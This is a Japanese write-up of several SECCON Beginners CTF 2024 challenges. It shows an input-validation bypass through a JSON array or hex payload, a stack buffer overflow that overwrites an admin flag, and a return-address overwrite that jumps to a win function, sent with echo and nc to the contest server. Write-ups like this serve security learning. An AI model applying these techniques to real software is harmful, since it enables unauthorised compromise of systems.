SECCON Beginners CTF 2024
JNSAの交流会に参加した後、IPFactoryの皆さんと参加しました。
順位は99位/962位でした。
目次
- welcome
- getRank
- simpleoverflow
- simpleoverwrite
- 感想
welcome(welcome, 50pt)
CTF開始直後、Discordのannouncements
チャンネルにてflagが投稿されました。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
getRank(misc, 59pt)
1位になるとflagを獲得できるみたいです。
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
ここで10の256乗
を入力すれば良いのですが以下のコードにより
10の256乗
を入力するだけではflagを手に入れることはできません。
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
flagを手に入れるには3つの条件を満たす必要があります。
- 入力されたものの長さが300以下であること
(超えるとInput too long
と判定される) - 入力されたものがNaNでない
(parseIntの処理後数字である必要がある) - 最終的に
10の255乗
より大きいこと
(1位になれない)
また、Get Rank
の部分で通信を途中で止めると以下のようなヘッダとボディが書かれています。
したがって、通信を途中で止めて10の355乗
より大きな値を入れればよいことがわかります。
1.は逆手にとればボディに以下のような配列を入力すると膨大な値でも長さは1と判定され、
flagを手に入れることができます。
{"input":["1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"]}
別解
16進数でもできるみたいです。
{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}
ctf4b{15_my_5c0r3_700000_b1g?}
おまけ
Q.1e356のようにeを使った表記でflagが取れないのはなぜですか?
A.この場合1e356 → 1
とparseIntの処理後最初の数字の部分のみ反映されるためです。
simpleoverflow(pwnable, 50pt)
オーバーフローです。
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
配列bufとread関数に注目すると、10文字以上の入力は対応していないことがわかります。
したがって10文字以上の文字列を入力するとflag獲得です。
ctf4b{0n_y0ur_m4rk}
おまけ
read関数で文字列を読み取った後、終端文字を追加して配列bufに入れているため
本来収納できる10文字でも追加の終端文字によってオーバーフローし
flag獲得できてしまいます。
simpleoverwrite(pwnable, 66pt)
returnでwin関数のアドレスを実行すればflagが手に入りそうです・・・
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char buf[100];
FILE *f = fopen("./flag.txt", "r");
fgets(buf, 100, f);
puts(buf);
}
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\n", buf);
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
Ghidraでwin関数のアドレスを見てみると0x00401186
であることがわかります。
ここでアドレスを入力する際、ncコマンドの後に入力すると
必ず文字列として判定されてしまうため入力できる範囲が0x21~0x7e
と
制限がかかってしまいます。
そこで以下のようにechoコマンドとncコマンドを同時に使用します。
echo -en "\x01" | nc simpleoverwrite.beginners.seccon.games 9001
あとは\x01
の部分をいろいろと試行錯誤してflag獲得です。
ctf4b{B3l13v3_4g41n}
感想
自分で問題作っていろいろと試行錯誤してみるとより理解力が深まり、
実力が上がるかもしれない・・・